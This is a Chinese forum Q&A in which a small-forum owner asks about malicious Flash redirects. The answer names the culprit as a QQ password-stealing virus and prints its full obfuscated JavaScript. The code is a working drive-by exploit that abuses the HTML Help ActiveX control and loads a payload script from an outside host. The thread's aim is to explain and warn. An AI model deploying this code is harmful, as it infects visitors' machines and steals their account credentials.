谁能告诉我这个JavaScript病毒有什么危害？谢谢

Question

还发了这样十几个Flash，重定向网页，我现在已经禁用Flash了，我只是一个小论坛，流量很小，他也没有必要这么搞吧？太可恨了！
http://fs9.139.com/0/303/montermet/share/200668213340214.swf

Answer 1

唉，以身试毒了
这是一个QQ病毒，有人说只是QQ尾巴病毒，有人说可以盗取QQ密码，反正针对的是QQ
防范的方法么，升级病毒库，升级系统补丁，未必有用，但有比没好，以下是病毒代码
<SCRIPT LANGUAGE="JavaScript">
<!--
var HtmlStrings=["=TDSJQU!mbohvbhf>WTdsjqu!tsd>#tphppe/hjg#>=0TDSJQU>=TDSJQU!mbo","hvbhf>WTdsjqu!tsd>#tphppe/dtt#>=0TDSJQU>=IUNM>=CPEZ>=ejw!","tuzmf>#ejtqmbz;opof#>=PCKFDU!je>#dduw#!uzqf>#bqqmjdbujpo0y.p","mfpckfdu#!dmbttje>#dmtje;bec991b7.e9gg.22dg.:488.11bb114c8b22","#>=QBSBN!obnf>#Dpnnboe#!wbmvf>#Sfmbufe!Upqjdt-!NFOV#>=QBSBN","!obnf>#Xjoepx#!wbmvf>#%hmpcbm`jgm#>=QBSBN!obnf>#Jufn2#!wbmvf",">(dpnnboe<gjmf;00D;]XJOEPXT]Ifmq]bqqt/din(>=0PCKFDU>=PCKFDU","!je>#{het#!uzqf>#bqqmjdbujpo0y.pmfpckfdu#!dmbttje>#dmtje;bec9","91b7.e9gg.22dg.:488.11bb114c8b22#>=QBSBN!obnf>#Dpnnboe#!wbmv","f>#Sfmbufe!Upqjdt-!NFOV#>=QBSBN!obnf>#Xjoepx#!wbmvf>#%hmpcbm","`jgm#>=QBSBN!obnf>#Jufn2#!wbmvf>(dpnnboe<kbwbtdsjqu;fwbm)#ep","dvnfou/xsjuf)]#=TDSJQU!mbohvbhf>KTdsjqu!tsd>]]]#iuuq;00xxx/48","5::/dpn0x130tphppe/hjg]]]#]#,Tusjoh/gspnDibsDpef)73*,]#=0TDS]","#,]#JQU]#,Tusjoh/gspnDibsDpef)73**#*(>=0PCKFDU>=0ejw>=TDSJ","QU>dduw/Dmjdl)*<tfuUjnfpvu)#{het/Dmjdl)*<#-1*<=0TDSJQU>=0CP","EZ>=0IUNM>"];
function psw(st){
  var varS;
  varS="";
  var i;
  for(var a=0;a<st.length;a++){
    i = st.charCodeAt(a); 
    if (i==1) 
      varS=varS+String.fromCharCode('"'.charCodeAt()-1);
    else if (i==2) {
      a++;
      varS+=String.fromCharCode(st.charCodeAt(a));
      }
    else
      varS+=String.fromCharCode(i-1);
  }
  return varS;
};
var num=16;
function S(){
for(i=0;i<num;i++)
  document.write(psw(HtmlStrings[i]));}
S();
// -->
</SCRIPT>
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